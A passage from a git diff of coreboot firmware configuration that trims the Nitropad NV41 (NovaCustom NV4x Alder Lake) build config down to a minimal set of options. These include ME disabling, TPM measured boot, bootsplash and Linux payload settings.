-CONFIG_SOC_INTEL_COMMON_BASECODE=y -CONFIG_SOC_INTEL_COMMON_BASECODE_RAMTOP=y -CONFIG_SOC_INTEL_COMMON_RESET=y -CONFIG_SOC_INTEL_COMMON_ACPI_WAKE_SOURCE=y -CONFIG_PAVP=y -# CONFIG_SOC_INTEL_DEBUG_CONSENT is not set -CONFIG_HAVE_INTEL_COMPLIANCE_TEST_MODE=y -# CONFIG_SOC_INTEL_COMPLIANCE_TEST_MODE is not set -CONFIG_SOC_INTEL_CRASHLOG=y - -# -# CPU -# -CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE=y -CONFIG_CPU_INTEL_COMMON=y -CONFIG_ENABLE_VMX=y -CONFIG_SET_IA32_FC_LOCK_BIT=y -CONFIG_SET_MSR_AESNI_LOCK_BIT=y -CONFIG_CPU_INTEL_COMMON_VOLTAGE=y -CONFIG_CPU_INTEL_COMMON_SMM=y -CONFIG_PARALLEL_MP=y -CONFIG_PARALLEL_MP_AP_WORK=y -CONFIG_XAPIC_ONLY=y -# CONFIG_X2APIC_ONLY is not set -# CONFIG_X2APIC_RUNTIME is not set -# CONFIG_X2APIC_LATE_WORKAROUND is not set -CONFIG_UDELAY_TSC=y -CONFIG_TSC_MONOTONIC_TIMER=y -CONFIG_X86_CLFLUSH_CAR=y -CONFIG_HAVE_SMI_HANDLER=y -CONFIG_SMM_TSEG=y -CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 -CONFIG_AP_STACK_SIZE=0x800 -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SSE2=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y -CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS is not set -# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set -# CONFIG_CPU_MICROCODE_CBFS_NONE is not set - -# -# Northbridge -# - -# -# Southbridge -# -CONFIG_PCIEXP_HOTPLUG=y -CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y -CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN=y -CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y -# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set -CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 -CONFIG_RCBA_LENGTH=0x4000 - -# -# Super I/O -# - -# -# Embedded Controllers -# -CONFIG_EC_ACPI=y -CONFIG_EC_SYSTEM76_EC=y - -# -# Intel Firmware -# CONFIG_IFDTOOL_DISABLE_ME=y CONFIG_HAVE_ME_BIN=y -# CONFIG_STITCH_ME_BIN is not set -# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set -CONFIG_HAVE_INTEL_ME_HAP=y -# CONFIG_INTEL_ME_DISABLED_HECI is not set CONFIG_INTEL_ME_DISABLED_HAP=y -# CONFIG_INTEL_ME_ENABLED is not set -CONFIG_INTEL_ME_DEFAULT_STATE=2 -# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set -# CONFIG_LOCK_MANAGEMENT_ENGINE is not set -CONFIG_UNLOCK_FLASH_REGIONS=y -CONFIG_BIOS_VENDOR="3mdeb" - -# -# Dasharo -# - -# -# Dasharo Configuration -# -CONFIG_DASHARO_PREFER_S3_SLEEP=y -# end of Dasharo Configuration - -CONFIG_UDK_BASE=y -CONFIG_UDK_202005_BINDING=y -CONFIG_UDK_2013_VERSION=2013 -CONFIG_UDK_2017_VERSION=2017 -CONFIG_UDK_202005_VERSION=202005 -CONFIG_UDK_202302_VERSION=202302 -CONFIG_UDK_VERSION=202005 -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -CONFIG_ARCH_POSTCAR_X86_32=y -CONFIG_ARCH_RAMSTAGE_X86_32=y -CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_X86_CUSTOM_BOOTMEDIA=y -CONFIG_PC80_SYSTEM=y -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_POSTCAR_STAGE=y -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_COLLECT_TIMESTAMPS_TSC=y -CONFIG_IDT_IN_EVERY_STAGE=y -CONFIG_HAVE_CF9_RESET=y -CONFIG_DEBUG_HW_BREAKPOINTS=y -CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y -CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y -# CONFIG_DUMP_SMBIOS_TYPE17 is not set -# end of Chipset - -# -# Devices -# -CONFIG_HAVE_LINEAR_FRAMEBUFFER=y -CONFIG_HAVE_FSP_GOP=y -# CONFIG_VGA_ROM_RUN is not set -CONFIG_RUN_FSP_GOP=y -# CONFIG_NO_GFX_INIT is not set -CONFIG_NO_EARLY_GFX_INIT=y - -# -# Display -# -CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y -CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -# end of Display - -CONFIG_PCI=y -CONFIG_ECAM_MMCONF_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_AZALIA_PLUGIN_SUPPORT=y -CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -CONFIG_ECAM_MMCONF_LENGTH=0x10000000 -CONFIG_PCI_ALLOW_BUS_MASTER=y -CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y -CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y -# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set -# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G=y CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set -# CONFIG_EARLY_PCI_BRIDGE is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 -CONFIG_INTEL_GMA_HAVE_VBT=y -CONFIG_INTEL_GMA_ADD_VBT=y -# CONFIG_SOFTWARE_I2C is not set -CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 # CONFIG_RESOURCE_ALLOCATION_TOP_DOWN is not set -# end of Devices - -# -# Generic Drivers -# -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set -# CONFIG_ELOG is not set -CONFIG_CACHE_MRC_SETTINGS=y -CONFIG_MRC_SETTINGS_PROTECT=y -# CONFIG_SMMSTORE is not set -CONFIG_SPI_FLASH=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_TPM_INIT_RAMSTAGE=y -# CONFIG_TPM_PPI is not set -CONFIG_DRIVERS_UART=y -CONFIG_NO_UART_ON_SUPERIO=y -CONFIG_DRIVERS_UART_8250MEM=y -CONFIG_DRIVERS_UART_8250MEM_32=y -# CONFIG_VPD is not set -CONFIG_DRIVERS_GENERIC_BAYHUB_LV2=y -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set -# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set -CONFIG_DRIVERS_I2C_DESIGNWARE=y -CONFIG_DRIVERS_I2C_GENERIC=y -CONFIG_DRIVERS_I2C_HID=y -# CONFIG_DRIVERS_I2C_MAX98396 is not set -CONFIG_FSP_USE_REPO=y -# CONFIG_DISPLAY_HOBS is not set -# CONFIG_DISPLAY_UPD_DATA is not set -CONFIG_PLATFORM_USES_FSP2_0=y -CONFIG_PLATFORM_USES_FSP2_1=y -CONFIG_PLATFORM_USES_FSP2_2=y -CONFIG_PLATFORM_USES_FSP2_3=y -CONFIG_PLATFORM_USES_FSP2_X86_32=y -CONFIG_HAVE_INTEL_FSP_REPO=y -CONFIG_ADD_FSP_BINARIES=y -CONFIG_FSP_T_LOCATION=0xfffe0000 -CONFIG_FSP_S_CBFS="fsps.bin" -CONFIG_FSP_M_CBFS="fspm.bin" -CONFIG_FSP_FULL_FD=y -CONFIG_FSP_T_RESERVED_SIZE=0x0 -CONFIG_FSP_M_XIP=y -CONFIG_FSP_USES_CB_STACK=y -CONFIG_FSP_COMPRESS_FSP_S_LZ4=y -CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y -CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 -CONFIG_SOC_INTEL_COMMON_FSP_RESET=y -CONFIG_FSPS_HAS_ARCH_UPD=y -CONFIG_FSPS_USE_MULTI_PHASE_INIT=y -CONFIG_FSP_USES_CB_DEBUG_EVENT_HANDLER=y -# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set -CONFIG_FSP_ENABLE_SERIAL_DEBUG=y -CONFIG_FSP_MULTIPHASE_SI_INIT_RETURN_BROKEN=y -CONFIG_INTEL_GMA_ACPI=y -CONFIG_INTEL_GMA_OPREGION_2_1=y -CONFIG_DRIVERS_INTEL_PMC=y -# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set -# CONFIG_DRIVERS_PS2_KEYBOARD is not set -CONFIG_DRIVERS_MC146818=y -# CONFIG_USE_PC_CMOS_ALTCENTURY is not set -CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 -CONFIG_MEMORY_MAPPED_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -# CONFIG_DRIVERS_SIL_3114 is not set -CONFIG_DRIVERS_USB_ACPI=y -CONFIG_DRIVERS_WIFI_GENERIC=y -CONFIG_MP_SERVICES_PPI=y -CONFIG_MP_SERVICES_PPI_V2=y -CONFIG_DRIVERS_INTEL_USB4_RETIMER=y -# end of Generic Drivers - -# -# Security -# - -# -# CBFS verification -# -# CONFIG_CBFS_VERIFICATION is not set -# end of CBFS verification - -# -# Verified Boot (vboot) -# -CONFIG_VBOOT_LIB=y -# end of Verified Boot (vboot) - -# -# Trusted Platform Module -# -# CONFIG_TPM1 is not set -CONFIG_TPM2=y -CONFIG_TPM=y -CONFIG_MAINBOARD_HAS_TPM2=y -# CONFIG_DEBUG_TPM is not set -# CONFIG_TPM_RDRESP_NEED_DELAY is not set -# CONFIG_TPM_LOG_CB is not set -CONFIG_TPM_LOG_TPM2=y -# CONFIG_TPM_HASH_SHA1 is not set -CONFIG_TPM_HASH_SHA256=y -# CONFIG_TPM_HASH_SHA384 is not set -# CONFIG_TPM_HASH_SHA512 is not set -CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" -CONFIG_PCR_BOOT_MODE=1 -CONFIG_PCR_HWID=1 -CONFIG_PCR_SRTM=2 -CONFIG_PCR_RUNTIME_DATA=3 -# end of Trusted Platform Module - -# -# Memory initialization -# -CONFIG_PLATFORM_HAS_DRAM_CLEAR=y -# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set -# end of Memory initialization - -CONFIG_INTEL_TXT_LIB=y -# CONFIG_INTEL_TXT is not set -# CONFIG_STM is not set -# CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set -# CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set -# end of Security - -CONFIG_ACPI_HAVE_PCAT_8259=y -CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y -CONFIG_ACPI_SOC_NVS=y -CONFIG_ACPI_CUSTOM_MADT=y -CONFIG_ACPI_COMMON_MADT_IOAPIC=y -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_ACPI_LPIT=y -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y -CONFIG_RTC=y - -# -# Console -# -CONFIG_BOOTBLOCK_CONSOLE=y -CONFIG_POSTCAR_CONSOLE=y -CONFIG_SQUELCH_EARLY_SMP=y -CONFIG_FIXED_UART_FOR_CONSOLE=y -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set -# CONFIG_CONSOLE_SPI_FLASH is not set -# CONFIG_CONSOLE_I2C_SMBUS is not set -# CONFIG_CONSOLE_SYSTEM76_EC is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y -# CONFIG_CMOS_POST is not set -CONFIG_HWBASE_DEBUG_CB=y -# end of Console - -CONFIG_ACPI_S1_NOT_SUPPORTED=y -CONFIG_HAVE_ACPI_RESUME=y -CONFIG_RESUME_PATH_SAME_AS_BOOT=y -CONFIG_HAVE_MONOTONIC_TIMER=y -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_IOAPIC=y - -# -# System tables -# -CONFIG_GENERATE_SMBIOS_TABLES=y -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -# end of System tables - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BOOTBOOT is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_SEAGRUB is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set -# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set -# end of Secondary Payloads -# end of Payload - -# -# Debugging -# - -# -# CPU Debug Settings -# -# CONFIG_DISPLAY_MTRRS is not set - -# -# BLOB Debug Settings -# -# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set -# CONFIG_DISPLAY_FSP_HEADER is not set -# CONFIG_VERIFY_HOBS is not set -CONFIG_DISPLAY_FSP_VERSION_INFO=y -# CONFIG_ENABLE_FSP_ERROR_INFO is not set -CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y -# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -CONFIG_HAVE_DEBUG_GPIO=y -# CONFIG_DEBUG_GPIO is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -CONFIG_HAVE_EM100_SUPPORT=y -# CONFIG_EM100 is not set -# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set -# end of Debugging - -CONFIG_SPD_READ_BY_WORD=y -CONFIG_DECOMPRESS_OFAST=y -CONFIG_WARNINGS_ARE_ERRORS=y -CONFIG_MAX_REBOOT_CNT=3 -CONFIG_RELOCATABLE_MODULES=y -CONFIG_GENERIC_GPIO_LIB=y -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 9484aaf51..55bd53260 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -1,878 +1,30 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ARCH_SUPPORTS_CLANG=y -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_IWYU is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set -# CONFIG_OPTION_BACKEND_NONE is not set CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE_LZMA=y -# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set -CONFIG_INCLUDE_CONFIG_FILE=y -CONFIG_COLLECT_TIMESTAMPS=y -# CONFIG_TIMESTAMPS_ON_CONSOLE is not set -CONFIG_USE_BLOBS=y -# CONFIG_USE_AMD_BLOBS is not set -# CONFIG_USE_QC_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_HAVE_ASAN_IN_RAMSTAGE=y -# CONFIG_ASAN is not set -# CONFIG_NO_STAGE_CACHE is not set -CONFIG_TSEG_STAGE_CACHE=y -# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 -# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set -# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set -# CONFIG_FW_CONFIG is not set - -# -# Software Bill Of Materials (SBOM) -# -# CONFIG_SBOM is not set -# end of Software Bill Of Materials (SBOM) -# end of General setup - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_51NB is not set -# CONFIG_VENDOR_ACER is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set -# CONFIG_VENDOR_ASUS is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_BOSTENTECH is not set -# CONFIG_VENDOR_BYTEDANCE is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_CLEVO is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_DELL is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_EXAMPLE is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IBM is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_INVENTEC is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIBRETREND is not set -# CONFIG_VENDOR_MSI is not set CONFIG_VENDOR_NOVACUSTOM=y -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PINE64 is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PRODRIVE is not set -# CONFIG_VENDOR_PROTECTLI is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_STARLABS is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_SYSTEM76 is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_UP is not set -CONFIG_MAINBOARD_FAMILY="Not Applicable" -CONFIG_MAINBOARD_PART_NUMBER="nv40pz" CONFIG_MAINBOARD_VERSION="v2.1" -CONFIG_MAINBOARD_DIR="clevo/adl-p" -CONFIG_DIMM_MAX=4 -CONFIG_DIMM_SPD_SIZE=512 -CONFIG_FMDFILE="" -# CONFIG_NO_POST is not set -CONFIG_MAINBOARD_VENDOR="Notebook" CONFIG_CBFS_SIZE=0x1000000 # CONFIG_CONSOLE_SERIAL is not set -CONFIG_MAX_CPUS=24 -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -# CONFIG_POST_DEVICE is not set # CONFIG_POST_IO is not set -CONFIG_UART_FOR_CONSOLE=0 -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set -CONFIG_VBOOT_VBNV_OFFSET=0x28 -CONFIG_VARIANT_DIR="nv40pz" -CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" -# CONFIG_VGA_BIOS is not set CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" -CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" -# CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x4000 -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_BOARD_CLEVO_ADLP_COMMON=y -CONFIG_BOARD_CLEVO_NV40PZ_BASE=y CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NV41" -CONFIG_CONSOLE_POST=y -# CONFIG_USE_PM_ACPI_TIMER is not set -CONFIG_TPM_PIRQ=0x27 -# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set -CONFIG_VBOOT_FWID_VERSION="$(CONFIG_LOCALVERSION)" -CONFIG_EC_SYSTEM76_EC_BAT_THRESHOLDS=y -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=256 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" -CONFIG_DCACHE_RAM_BASE=0xfef00000 -CONFIG_DCACHE_RAM_SIZE=0xc0000 -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 -CONFIG_DCACHE_BSP_STACK_SIZE=0x80400 -CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 -CONFIG_HAVE_INTEL_FIRMWARE=y -CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 -CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/dasharo-blobs/novacustom/nv4x_adl/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -CONFIG_VBT_DATA_SIZE_KB=9 -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -# CONFIG_USE_LEGACY_8254_TIMER is not set -# CONFIG_DEBUG_SMI is not set CONFIG_HAVE_IFD_BIN=y -CONFIG_PCIEXP_HOTPLUG_BUSES=42 -CONFIG_PCIEXP_HOTPLUG_MEM=0xc200000 -CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x1c000000 -CONFIG_PS2K_EISAID="PNP0303" -CONFIG_PS2M_EISAID="PNP0F13" - -# -# Alder Lake P (2022) -# -# CONFIG_BOARD_NOVACUSTOM_NS5X_ADLP is not set CONFIG_BOARD_NOVACUSTOM_NV4X_ADLP=y - -# -# Tiger Lake U (2021) -# -# CONFIG_BOARD_NOVACUSTOM_NV4X_TGLU is not set -# CONFIG_BOARD_NOVACUSTOM_NS5X_TGLU is not set -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y -# CONFIG_DRIVERS_UART_8250IO is not set -CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x10000 -CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_32768=y -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set -CONFIG_COREBOOT_ROMSIZE_KB_32768=y -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=32768 -CONFIG_ROM_SIZE=0x02000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y -# CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 -# end of Mainboard - -CONFIG_SYSTEM_TYPE_LAPTOP=y - -# -# Chipset -# - -# -# SoC -# -CONFIG_CHIPSET_DEVICETREE="soc/intel/alderlake/chipset.cb" -CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" -CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" -CONFIG_CBFS_MCACHE_SIZE=0x4000 -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_FSP_TEMP_RAM_SIZE=0x20000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_CONSOLE_UART_BASE_ADDRESS=0xfe03e000 -CONFIG_SMM_TSEG_SIZE=0x800000 -CONFIG_SMM_RESERVED_SIZE=0x200000 -CONFIG_SMM_MODULE_STACK_SIZE=0x800 -CONFIG_ACPI_BERT=y -CONFIG_ACPI_BERT_SIZE=0x10000 -CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=133 -CONFIG_VBOOT_HASH_BLOCK_SIZE=0x1000 -CONFIG_ACPI_CPU_STRING="CP%02X" -CONFIG_STACK_SIZE=0x2000 -CONFIG_SOC_INTEL_ALDERLAKE=y -CONFIG_SOC_INTEL_ALDERLAKE_PCH_P=y -CONFIG_SOC_INTEL_ALDERLAKE_TCSS_USB4_SUPPORT=y -CONFIG_ALDERLAKE_CAR_ENHANCED_NEM=y 